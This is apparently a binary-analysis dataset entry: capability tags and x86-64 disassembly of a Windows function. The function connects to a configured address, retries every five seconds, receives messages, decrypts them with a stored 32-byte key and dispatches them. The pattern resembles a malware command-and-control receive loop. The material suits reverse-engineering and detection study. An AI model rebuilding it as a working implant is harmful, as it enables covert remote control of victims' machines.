Function at 0x140004d30
Capabilities:
Connect socket
Convert ip address from string
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xb0
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov rbx, rcx
mov r12d, 2
nop word [rax + rax]
mov edx, 1
mov ecx, r12d
lea r8d, [rdx + 5]
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbx + 0x1a8], rax
cmp rax, 0xffffffffffffffff
je 0x140004dd5
movzx ecx, word [rbx + 8]
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
mov word [rbp - 0x29], r12w
call qword [sym.imp.WS2_32.dll_htons]
mov rdx, qword [rbx]
lea r8, [rbp - 0x25]
mov ecx, r12d
mov word [rbp - 0x27], ax
call qword [sym.imp.WS2_32.dll_inet_pton]
mov rcx, qword [rbx + 0x1a8]
lea rdx, [rbp - 0x29]
mov r8d, reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140004dec
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
test eax, eax
je 0x140004dec
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140004d70
mov ecx, 0x54
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r15, rax
nop word [rax + rax]
mov rcx, qword [rbx + 0x1a8]
xor r9d, r9d
mov rdx, r15
lea r8d, [r9 + 4]
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x140004e20
xor ecx, ecx
jmp 0x140004e60
cmp byte [r15], 0
jne 0x140004e40
cmp byte [r15 + 1], 1
jne 0x140004e40
cmp byte [r15 + 2], 0
jne 0x140004e40
cmp byte [r15 + 3], 1
jne 0x140004e40
mov ecx, r12d
jmp 0x140004e60
mov rcx, qword [rbx + 0x1a8]
lea rdx, [r15 + 4]
xor r9d, r9d
lea r8d, [r9 + 0x50]
call qword [sym.imp.WS2_32.dll_recv]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
cmp ecx, 1
jne 0x140005004
movzx eax, byte [rbx + 0x1b0]
xor edi, edi
mov byte [rbp - 0x49], al
mov rsi, r15
movzx eax, byte [rbx + 0x1b1]
mov byte [rbp - 0x48], al
movzx eax, byte [rbx + 0x1b2]
mov byte [rbp - 0x47], al
movzx eax, byte [rbx + 0x1b3]
mov byte [rbp - 0x46], al
movzx eax, byte [rbx + 0x1b4]
mov byte [rbp - 0x45], al
movzx eax, byte [rbx + 0x1b5]
mov byte [rbp - 0x44], al
movzx eax, byte [rbx + 0x1b6]
mov byte [rbp - 0x43], al
movzx eax, byte [rbx + 0x1b7]
mov byte [rbp - 0x42], al
movzx eax, byte [rbx + 0x1b8]
mov byte [rbp - 0x41], al
movzx eax, byte [rbx + 0x1b9]
mov byte [rbp - 0x40], al
movzx eax, byte [rbx + 0x1ba]
mov byte [rbp - 0x3f], al
movzx eax, byte [rbx + 0x1bb]
mov byte [rbp - 0x3e], al
movzx eax, byte [rbx + 0x1bc]
mov byte [rbp - 0x3d], al
movzx eax, byte [rbx + 0x1bd]
mov byte [rbp - 0x3c], al
movzx eax, byte [rbx + 0x1be]
mov byte [rbp - 0x3b], al
movzx eax, byte [rbx + 0x1bf]
mov byte [rbp - 0x3a], al
movzx eax, byte [rbx + 0x1c0]
mov byte [rbp - 0x39], al
movzx eax, byte [rbx + 0x1c1]
mov byte [rbp - 0x38], al
movzx eax, byte [rbx + 0x1c2]
mov byte [rbp - 0x37], al
movzx eax, byte [rbx + 0x1c3]
mov byte [rbp - 0x36], al
movzx eax, byte [rbx + 0x1c4]
mov byte [rbp - 0x35], al
movzx eax, byte [rbx + 0x1c5]
mov byte [rbp - 0x34], al
movzx eax, byte [rbx + 0x1c6]
mov byte [rbp - 0x33], al
movzx eax, byte [rbx + 0x1c7]
mov byte [rbp - 0x32], al
movzx eax, byte [rbx + 0x1c8]
mov byte [rbp - 0x31], al
movzx eax, byte [rbx + 0x1c9]
mov byte [rbp - 0x30], al
movzx eax, byte [rbx + 0x1ca]
mov byte [rbp - 0x2f], al
movzx eax, byte [rbx + 0x1cb]
mov byte [rbp - 0x2e], al
movzx eax, byte [rbx + 0x1cc]
mov byte [rbp - 0x2d], al
movzx eax, byte [rbx + 0x1cd]
mov byte [rbp - 0x2c], al
movzx eax, byte [rbx + 0x1ce]
mov byte [rbp - 0x2b], al
movzx eax, byte [rbx + 0x1cf]
mov byte [rbp - 0x2a], al
nop
mov eax, edi
cdq
and edx, 0x3f
add eax, edx
mov ecx, eax
and eax, 0x3f
sub eax, edx
sar ecx, 6
movsxd r14, eax
test eax, eax
jne 0x140004fe2
movsxd rcx, ecx
lea r8, [rbp - 0x49]
mov qword [rsp + 0x20], rcx
lea rdx, [rbp - 0x19]
lea rcx, [rbp - 0x49]
call fcn.140005380
movzx ecx, byte [rbp + r14 - 0x19]
inc edi
xor byte [rsi], cl
inc rsi
cmp edi, 0x54
jb 0x140004fb0
mov rdx, r15
mov rcx, rbx
call fcn.140004130
jmp 0x140004e00
test ecx, ecx
jne 0x140004e00
nop dword [rax]
mov edx, 1
mov ecx, r12d
lea r8d, [rdx + 5]
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbx + 0x1a8], rax
cmp rax, 0xffffffffffffffff
je 0x140005079
movzx ecx, word [rbx + 8]
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
mov word [rbp - 0x29], r12w
call qword [sym.imp.WS2_32.dll_htons]
mov rdx, qword [rbx]
lea r8, [rbp - 0x25]
mov ecx, r12d
mov word [rbp - 0x27], ax
call qword [sym.imp.WS2_32.dll_inet_pton]
mov rcx, qword [rbx + 0x1a8]
lea rdx, [rbp - 0x29]
mov r8d, reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140004e00
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
test eax, eax
je 0x140004e00
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140005010